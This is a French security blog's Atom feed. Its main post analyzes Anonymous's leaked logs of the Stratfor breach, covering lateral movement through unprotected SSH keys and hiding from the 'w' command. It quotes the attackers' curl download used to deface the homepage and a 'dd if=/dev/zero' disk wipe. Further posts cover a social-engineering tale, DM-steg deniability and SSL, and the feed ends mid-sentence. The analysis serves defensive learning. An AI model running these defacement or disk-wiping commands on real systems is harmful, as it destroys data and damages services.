<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2330984441575997476</id><updated>2012-01-26T16:43:43.842+01:00</updated><title type='text'>Exploitability</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>91</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-6391025969476367710</id><published>2012-01-10T11:27:00.000+01:00</published><updated>2012-01-10T11:27:18.752+01:00</updated><title type='text'>Anonymous Vs Stratfor: KO en un round.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;En fin d'année, Anonymous a releasé un récapitulatif de ses exploits dans un log txt AnonymousZine.txt (une rapide recherche google vous le donnera): Hack de stratfor.com, cslea.com, nychiefs.og et specialforces.com.&lt;br /&gt;Le document, bien que txt, contient des ASCII-ART:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://picasaweb.google.com/113568471535887774310/20120110#5695937603785256930" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-KVz4Wrd3rc8/TwwJEoBo7-I/AAAAAAAAAHw/m8opy8nwPhI/s320/antisec.png" width="84" /&gt;&lt;/a&gt;&lt;/div&gt;(on arrive à lire Antisec) et le désormais classique masque de Guy Fawkes:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://picasaweb.google.com/113568471535887774310/2012011002#5695937767189991682" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-i_pB-0yTuwo/TwwJOIwXUQI/AAAAAAAAAH8/S4MuiM_nSkA/s320/anon2.png" width="289" /&gt;&lt;/a&gt;&lt;/div&gt;Cette table des matières donne le lien vers la plateforme Antisec de TPB et leur ambassade qui est un site .onion (installez tor).&lt;br /&gt;&lt;br /&gt;Je livre ici une petite analyse du hack de stratfor en me basant sur les documents fournis, sous réserve qu'ils soient rééls et authentiques.&amp;nbsp;Je ne reviendrai pas sur l'aspect politique du mouvement. Anonymous est une menace largement plus politique que technique, mais il est rare d'obtenir des logs comme ceux-ci qui permettent de voir une attaque 'in situ'. Je laisse le soin à d'autres personnes de discuter de la portée politique de leurs actes, seule une analyse technique sera présentée.&lt;br /&gt;&lt;br /&gt;Stratfor.com est une société d'intelligence économique (espionnage industriel en bon français). On peut imaginer que leur site web est donc très bien protégé et que la sécurité générale est d'un très bon niveau. La divulgation faite par Anonymous montre que non. Je résume tout d'abord certains mails, puis l'état de leurs serveurs.&lt;br /&gt;&lt;br /&gt;1/ quelques emails:&lt;br /&gt;Stratfor a malgré tout bien compris qu'ils étaient "under attack". Mais le mail d'un sysadmin demandant 2 jours pour vérifier le système a été refusé. Ils s'étaient rendus compte qu'un de leur serveurs web avaient un load à 100% et contenait des scripts inconnus dans /root. Effectivement, ça mérite un "pull the plug".&lt;br /&gt;[ Pour élargir le débat, qui a le pouvoir "pull the plug" de manière générale? Est-ce une prérogative à ajouter dans les droits d'un admin sys? ]&lt;br /&gt;&lt;br /&gt;Ce n'est suite à l'attaque que Statfor s'est rendu compte que leurs sauvegardes emails se faisaient sur la même machine physique que le serveur de mail (!).&lt;br /&gt;Ce n'est qu'une fois attaqués qu'ils se sont posés la question de la méthode de chiffrement des mots de passe. Ils ont beau eu indiquer sur facebook que les mots de passe étaient chiffrée en one-way MD5, la réalité montre qu'il ne s'agissait que du hash, donc des mots de passe ont été révélés. La liste complète des emails doit donner plus d'informations, mais elle n'est pas encore divulguée.&lt;br /&gt;&lt;br /&gt;2/ et leurs serveurs&lt;br /&gt;Concernant les serveurs, par contre, c'est plutôt une catastrophe.&amp;nbsp;Anonymous fournit un log ssh relativement complet sur l'état et le contenu des serveurs (généralement un cat des fichiers shadow, .bash_history .ssh/* et des fichiers de confs). Il manque toutefois l'essentiel: l'attaque en elle-même ce qui est aisément compréhensible.&lt;br /&gt;Le premier log laisse penser qu'Anonymous est entré avec un uid apache, et a monté root ensuite. [&lt;span class="Apple-style-span" style="font-size: x-small;"&gt; Faille SQL suivie d'un shell suivi d'une escalade de privilèges? C'est non précisé. &lt;/span&gt;]&lt;br /&gt;&lt;br /&gt;Le premier serveur attaqué, le frontal web, apparemment, est une gentoo à noyau 2.6.24 (plusieurs failles de sécurité existent sur ce noyau) démarré depuis 2008 (!). Un utilisateur est logué sur la console tty1 depuis 27 jours (accès physique au serveur?). Le répertoire de /root est une catastrophe, il contient des sources, des fichiers Mac OS (ils ont branché une clé USB ou quoi?), des dossiers en vrac (genre un dossier bin/ un b/, un yourmom/ !). Le .bash_history de root&amp;nbsp;montre un admin qui fouille ses logs, soit car il track anonymous, soit par curiosité normale. Ses clés ssh ne sont pas protégées... &lt;span class="Apple-style-span" style="font-size: x-small;"&gt;[ Je vais être mauvaise langue, mais un serveur comme celui-ci méritait bien un rm -rf / uniquement pour le ranger un peu.. ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Les .bash_history des autres utilisateurs montrent que ce serveur sert également à faire du dev, ce qui est à l'encontre de toutes les bonnes pratiques. Les autres clés ssh trouvées n'ont pas non plus de mot de passe. Les fichiers de config .php sont également dumpés, donnant accès à la base de données. Ceci dit, quand un attaquant à les droits root, c'est généralement game over.&lt;br /&gt;&lt;br /&gt;Ce serveur permet à Anonymous de se servir de l'utilisateur 'autobot', dont les clés permettent de se loguer sur l'ensemble du réseau (Mega FAIL!!). Anonymous va donc partir à la recherche du serveur de mail. Il s'agit d'une machine 64bits faisant tourner un zimbra+postfix. Le noyau est un 2.6.18-238.9.1.el5 (un nom de noyau comme ça&amp;nbsp;fait penser à du redhat ou dérivé redhat), ce qui semble ancien. Anonymous passe root dessus sans plus de précisions (clé ssh? faille noyau?). En explorant la machine, il découvre un dossier /backups qui contient, vous l'aurez compris, les sauvegardes des&amp;nbsp;spools de mails des utilisateurs. Headshot, et les spools qui se font doxer (ils ne sont pas encore diffusés, ceci dit).&lt;br /&gt;&lt;br /&gt;Anonymous continue de rebondir sur les serveurs internes grâce aux clés d'autobot et diffuse des .bash_history, des tables mySQL etc etc.. Une petite finesse mérite d'être relevée. A chaque venue sur un serveur, anonymous lance la commande w pour connaître les personnes loguées. Sur l'une d'elles, un utilisateur travaille activement (session vim). Il se déconnecte et reconnecte en ssh -T (-T: non allocation de terminal), ce qui permet de ne plus être listé par la commande 'w'. Il appelle cette technique NINJA MODE :)&lt;br /&gt;&lt;br /&gt;Enfin, une page index.php est rajoutée sur la home page du site web:&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;www3 # rm index.php&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;www3 # curl http://pastebin.com/download.php?i=ANTISEC &amp;gt; index.php&lt;/span&gt;&lt;br /&gt;Et le fatal&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;www3 # dd if=/dev/zero of=/dev/sda3 &amp;amp; &amp;nbsp; &amp;nbsp; &amp;nbsp;// SETTIN EVERYBODY BACK TO ZERO&lt;/span&gt;&lt;br /&gt;aussitôt que google a mis la page en cache.&lt;br /&gt;&lt;br /&gt;3/ And ze winner iz?&lt;br /&gt;Que penser de cette attaque? Un serveur absolument pas à jour, des clés non protégées, un accès ssh possible de et vers les autres serveurs de la DMZ, une clé qui donne accès à tout. J'ai du mal à comprendre comment cette entreprise aurait pu passer le moindre contrôle ou le moindre audit sans se faire atomiser.&lt;br /&gt;Et surtout, lorsque le hack est avérée, que le pirate est là, que l'admin le détecte et demande un peu de temps pour nettoyer tout ça, la réponse, la plus mauvaise qui soit: on ne coupe pas le business pendant 2 jours car le pirate n'arrivera surement pas à ses fins, cf&lt;br /&gt;&amp;nbsp;&lt;i&gt;"You do realize how preposterous it is to suggest that stratfor simply shutdown completely for 2 days, right? The plan that you've attached paints a gloom and doom picture claiming no chance that such a move will succeed. Does that really seem a rationale conclusion?"&lt;/i&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ainsi, comme le dit Anonymous, stratfor s'est fait pwner vraiment violemment, ceci aidé d'une part par la faiblesse de leur infrastructure et d'autre part par l'absence de réactions.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Le reste d'AnonymousZine.txt contient les logs des autres attaques et des considérations politiques sur leur action. Intéressant à lire.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-6391025969476367710?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/6391025969476367710/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2012/01/anonymous-vs-stratfor-ko-en-un-round.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6391025969476367710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6391025969476367710'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2012/01/anonymous-vs-stratfor-ko-en-un-round.html' title='Anonymous Vs Stratfor: KO en un round.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-KVz4Wrd3rc8/TwwJEoBo7-I/AAAAAAAAAHw/m8opy8nwPhI/s72-c/antisec.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-1986704785950636063</id><published>2011-12-31T16:02:00.001+01:00</published><updated>2012-01-03T09:04:44.844+01:00</updated><title type='text'>Petit conte de fin d'année, mais histoire vraie quand même.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;En cette période de fin d'année, je propose un petit conte qui sort de l'informatique et de la sécurité, ou pas.&lt;br /&gt;&lt;br /&gt;L'histoire qui suit se passe il y a quelques années et aucun nom ne sera cité.&lt;br /&gt;Or donc, il existait un centre commercial comme il en existe tant, avec, dans la galerie une bijouterie. Cette bijouterie se présentait en forme de L. La barre principale était ouverte sur la galerie, agrémentée d'une caisse en son milieu, et la barre du bas, au fond, avait un second comptoir, réservé aux réparations.&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; +-----+&lt;/div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;G&amp;nbsp; &amp;nbsp; &amp;nbsp; V |&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;A&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; V: victime&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;L&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; C: caisse principale&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;E&amp;nbsp;&amp;nbsp; C &amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; R: comptoir de réparation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;R&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;I&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; `-----+&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;E&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; R|&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; R|&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp; +-----------+&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt; &lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Le week-end avant les fêtes, une foule importante se pressait dans la galerie marchande et dans la bijouterie. Comme cela se fait souvent, pour absorber ce surplus de clientèle, quelques intérimaires aidaient à la vente. Ils étaient habillés sobrement, d'une chemise blanche et d'un pantalon noir.&lt;br /&gt;Sur ces entrefaits, aidé d'un complice, je me suis glissé vers le haut du magasin, habillé également d'une chemise blanche et d'un pantalon noir, couvert par un pull. J'ai rapidement repéré une cliente ayant en main un bon de réparation de bijou. Prestement défait de mon pull, je l'aborde en lui demandant si je peux l'aider. Discussion, vérification que son bon de réparation avait été payé, et je la laisse sur place en consultation des nouvelles collection de nouvel an. Je remet le pull et arrive au comptoir du fond pour récupérer le bijou.&lt;br /&gt;Le bijou m'a été donné sur présentation et vérification du bon, et j'ai pu partir discrètement de la bijouterie par le côté opposé à la victime. Du fait de la foule, la cliente ne m'a pas vu partir, et les vendeurs légitimes n'ont pas vu la manipulation.&lt;br /&gt;J'étais donc hors de la bijouterie un splendide collier orné d'un rubis dans la poche.&lt;br /&gt;[&lt;span style="font-size: x-small;"&gt;&lt;i&gt;Petite précision pour ceux qui s'en inquiéteraient: mon honnêteté n'ayant pas de limite, je suis retourné dans la bijouterie pour rendre le collier à sa propriétaire, c'est donc une histoire morale qui finit bien&lt;/i&gt;&lt;/span&gt; :-) ]&lt;br /&gt;&lt;br /&gt;Etant sur un blog de sécurité informatique, que peut on dire?&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;J'ai joué le rôle d'un proxy malveillant entre un client et un serveur pour intercepter des données d'authentification.&amp;nbsp;&lt;/li&gt;&lt;li&gt;La surcharge de fin d'année a empêché la détection du "rogue proxy" (si vous ne pouvez effacer vos logs, noyez les!)&lt;/li&gt;&lt;li&gt;Le client n'a pas pensé à authentifier le serveur. Pensez http"S"! ou typosquatting. Un peu de social engineering a suffit. &lt;/li&gt;&lt;li&gt;Enfin, le véritable serveur a fait confiance uniquement au cookie d'authentification (le bon de réparation). Une double authentification aurait été préférable: bon de réparation+authent via CNI par exemple, il était évident qu'un bon intitulé à un prénom de consonance féminine aurait du éveiller un soupçon. Le cookie d'authent pour entrer et faire des opérations (demander l'état de réparation du bijou) mais une seconde authentification pour la remise du payload reste une option intéressante.&lt;/li&gt;&lt;li&gt;L'extrusion du payload fût caché dans un paquet de données standard: moi, un client lambda avec un pull gris qui n'éveillait aucune suspicion ou regard de la part des vendeurs légitimes. Pour extraire des données, chiffrez les (flux SSL)!&lt;/li&gt;&lt;/ul&gt;Sur ce, bonne année, et happy hacking! (et n'allez pas dans les bijouteries faire des bêtises!) &lt;br /&gt;&lt;br /&gt;EDIT: &lt;a href="http://cpradier.blogspot.com/"&gt;Christophe Pradier&lt;/a&gt; (RSSI de l'hôpital de Valenciennes) a traduit ce &lt;a href="http://cpradier.blogspot.com/2012/01/kevinexploitability-end-of-year-tale.html"&gt;conte en anglais&lt;/a&gt; sur son blog!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-1986704785950636063?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/1986704785950636063/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/12/petit-conte-de-fin-dannee-mais-histoire.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1986704785950636063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1986704785950636063'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/12/petit-conte-de-fin-dannee-mais-histoire.html' title='Petit conte de fin d&apos;année, mais histoire vraie quand même.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-180774096717529873</id><published>2011-12-14T12:07:00.003+01:00</published><updated>2011-12-14T12:07:41.603+01:00</updated><title type='text'>dm-steg : la plausible deniability sous linux, ou pas.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Un lecteur du blog m'a fait suivre un message de la mailing list dm-crypt: &lt;a href="http://permalink.gmane.org/gmane.linux.kernel.device-mapper.dm-crypt/5543"&gt;http://permalink.gmane.org/gmane.linux.kernel.device-mapper.dm-crypt/5543&lt;/a&gt;. L'auteur, Samulis Leopold propose un module noyau et les outils associés proposant un nouveau mode de chiffrement. Ce projet s'appelle &lt;a href="http://dmsteg.sourceforge.net/"&gt;DM-steg&lt;/a&gt; et la &lt;a href="http://dmsteg.sf.net/Steg.pdf"&gt;documentation&lt;/a&gt; est disponible. Les sources sont composées d'un patch noyau (pour le 3.2) et des outils.&lt;br /&gt;&lt;br /&gt;1/ Quels sont les points positifs de DM-steg?&lt;br /&gt;Tout d'abord, les performances de DM-steg ont été mesurées en regard d'un RAM disk, et elles sont honorables (partie 6 Benchmarks du &lt;a href="http://dmsteg.sf.net/Steg.pdf"&gt;.pdf de doc)&lt;/a&gt;.&lt;br /&gt;Je ne m'étendrai pas sur les différents modes de chiffrements. L'auteur s'est basé sur de l'existant (un openssl récent &amp;gt; 1.1 doit être utilisé pour pouvoir compiler le projet). &lt;br /&gt;&lt;br /&gt;Le point clé du projet réside dans la mobilité des données sur le disque.&lt;br /&gt;Le disque est tout d'abord découpé en parties équivalentes, les blocs. Deux blocs vont jouer un rôle particulier. La taille totale de l'espace est amputée de deux blocs: le premier sert d'en-tête, le second de zone temporaire.Au cours de l'emploi du disque, les données des blocs vont être déplacées sur l'ensemble de l'espace du disque de manière aléatoire. Le bloc temporaire sert à stocker les données pendant le déplacement. Ainsi, un attaquant qui n'aurait accès qu'a la version chiffrée du disque verrait des réécritures sur tout le disque, ne pouvant ainsi absolument rien déduire sur l'usage de ce disque. &lt;br /&gt;&lt;br /&gt;Et puis l'auteur indique "no crash" ce qui est rassurant :-)&lt;br /&gt;&lt;br /&gt;Et DM-steg est particulièrement intéressant car il propose par défaut de la plausible deniability.&lt;br /&gt;J'ai &lt;a href="http://exploitability.blogspot.com/2011/04/why-plausible-deniability-sucks-at-last.html"&gt;déjà blogué sur la plausible deniability faite par truecrypt&lt;/a&gt; pour en conclure que la méthode n'est pas satisfaisante.&lt;br /&gt;&lt;i&gt;Petit résumé: Pour truecrypt le disque caché est situé &lt;a href="http://www.truecrypt.org/images/docs/hidden-volume.gif"&gt;vers la fin du disque&lt;/a&gt;. Un attaquant en possession de plusieurs versions du disque au cours du temps et qui verrait des données être modifiées à cet endroit alors qu'elles ne correspondent à aucun fichier sur le disque normal pourrait donc vraisemblablement intuiter qu'un disque caché est présent.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;2/ La plausible deniability par DM-steg&lt;br /&gt;&lt;br /&gt;Etudions la partie deniable plausability. Tout d'abord, sur la possession de ce programme, ensuite sur les containers imbriqués, et enfin sur les attaques réalisables par un attaquant. &lt;br /&gt;&lt;br /&gt;La possession de ce programme est sans doute un piège en soi. Si je suis un attaquant et que je vois un utilisateur avec DM-steg, je vais immédiatement le soupçonner de cacher des données. On peut considérer cela comme un faux problème puisque le jour ou DM-steg sera inclus dans les sources officielles du noyau linux et dans les distributions linux sa possession ne sera plus compromettante. &lt;br /&gt;&lt;br /&gt;DM-steg permet d'utiliser un disque avec plusieurs mots de passes. Chaque mot de passe donne accès à une vue différente du code déchiffré. Il est possible d'avoir donc un nombre illimité de conteneur cachés (si ce n'est la taille du disque), au contraire de Truecrypt qui ne propose qu'un disque normal contenant un disque caché.&lt;br /&gt;&lt;br /&gt;Après discussion avec l'auteur par mail, il m'indique qu'il préfère la méthode de conteneur imbriqué sans limite. Les arguments sont inversibles avec ceux de Truecrypt. Truecrypt dit qu'en cas de gros problème, il est toujours possible de donner les deux mots de passe, prouvant donc que plus rien n'est caché (si on vous tape dessus pour obtenir les mots de passe, cela peut être la solution la moins pire), et DM-steg dit précisément l'inverse, que l'attaquant arrêtera forcément au 'n-ième' mot de passe, à vous de cacher la donnée dans un conteneur n+1. Je n'ai pas d'avis tranché à ce sujet.&lt;br /&gt;&lt;br /&gt;Le mode de dispersion des données de DM-steg empêche un attaquant de différencier plusieurs versions du disque pour détecter quels sont les octets qui bougent, et si le cas échéant des octets vers la fin du disque bougent sans lien avec les données présentes. Il semble donc que c'est un excellent moyen pour faire de la plausible deniability. Mais il y a encore deux points qui ne sont pas réglés:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Les données sont éparpillées sur le disque (mettons /dev/sda1). Donc un attaquant avec plusieurs copies de /dev/sda1 n'a aucune information. Mais la plausible deniability dit que l'attaquant peut posséder le mot de passe du container principal. Et donc l'attaquant peut monter les disques avec DM-steg. Et il aura accès aux données sous /dev/mapper/steg1. Et là, les données deviennent "linéarisées" et non plus "éparpillées". L'attaquant peut donc étudier les modifications entre deux versions de /dev/mapper/steg1 et ainsi détecter des modifications illégitimes de manire analogue avec l'attaque sur truecrypt.&lt;/li&gt;&lt;li&gt;Aucune limitation sur le filesystem employé n'est faite. Ainsi, si un utilisateur crée un container principal formaté en ext3 et un container caché sur les 100 derniers Mo du disque, alors un attaquant à l'aide du mot de passe du premier container pourra consulter tous les superblocks d'ext3 sur le container principal. Les superblocks des 100 derniers Mo seront illisibles puisqu'écrasés par le container caché. Une fois de plus sa présence est révélée. On peut utiliser du FAT, mais l'emploi de FAT dans une distribution linux est suspicieux en soi.&lt;/li&gt;&lt;li&gt;Or donc la plausible deniability n'est pas garantie.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;3/ One more step to infinity &lt;br /&gt;Le fait d'éparpiller les données chiffrées sur le disque est donc un premier pas très intéressant. Un attaquant a donc l'obligation impérative d'avoir le premier mot de passe pour attaquer la plausible deniability, ce qui n'était pas le cas auparavant.&lt;br /&gt;Nous avons aujourd'hui de plus en plus de disques SSD ou la localisation des données n'a plus aucune importance en terme de performances. L'usage de DM-steg pourrait donc rivaliser avec dm-crypt. Néanmoins, on cherche encore une vraie méthode de plausible deniability pérenne et fiable dans le temps.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-180774096717529873?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/180774096717529873/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/12/dm-steg-la-plausible-deniability-sous.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/180774096717529873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/180774096717529873'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/12/dm-steg-la-plausible-deniability-sous.html' title='dm-steg : la plausible deniability sous linux, ou pas.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-3010443628354402560</id><published>2011-11-29T08:37:00.001+01:00</published><updated>2011-11-29T08:43:37.399+01:00</updated><title type='text'>Linux Magazine 144 - Compiler son noyau linux</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Le numéro &lt;a href="http://www.unixgarden.com/index.php/gnu-linux-magazine/gnulinux-magazine-n144-decembre-2011-chez-votre-marchand-de-journaux"&gt;144&lt;/a&gt; de &lt;a href="http://www.unixgarden.com/index.php/category/gnu-linux-magazine"&gt;Linux Magazine&lt;/a&gt; est sorti. J'ai écrit un article expliquant la manière de compiler un noyau linux.&lt;br /&gt;&lt;br /&gt;Citation de circonstance:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-FFj6UC60H_g/TtSM4RPcbGI/AAAAAAAAAHY/ztw5Eu_s_fE/s1600/sig.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-FFj6UC60H_g/TtSM4RPcbGI/AAAAAAAAAHY/ztw5Eu_s_fE/s1600/sig.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-3010443628354402560?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/3010443628354402560/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/11/linux-magazine-144-compiler-son-noyau.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3010443628354402560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3010443628354402560'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/11/linux-magazine-144-compiler-son-noyau.html' title='Linux Magazine 144 - Compiler son noyau linux'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-FFj6UC60H_g/TtSM4RPcbGI/AAAAAAAAAHY/ztw5Eu_s_fE/s72-c/sig.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-2866667481649503241</id><published>2011-11-24T18:09:00.001+01:00</published><updated>2011-11-24T18:49:31.324+01:00</updated><title type='text'>Sécurité SSL et certificat malais compromis</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Le&amp;nbsp;marronnier&amp;nbsp;actuel de la sécurité concerne SSL. Sur le papier, SSL, c'est très bien. Cela permet d'augmenter la sécurité de manière peu intrusive pour l'utilisateur. Dans les faits, l'implémentation laisse à désirer. NewsOft a déjà expliqué ça très bien dans un &lt;a href="http://news0ft.blogspot.com/2010/04/ssl-est-casse.html"&gt;message de blog&lt;/a&gt; il y a quelque temps.&lt;br /&gt;&lt;br /&gt;Le dernier évènement concerne un virus possédant du code &lt;a href="http://www.f-secure.com/weblog/archives/00002269.html"&gt;signé par un certificat Malais valide&lt;/a&gt;. On peut imaginer que la clé privée a été volée, comme cela a été le cas pour les drivers signés 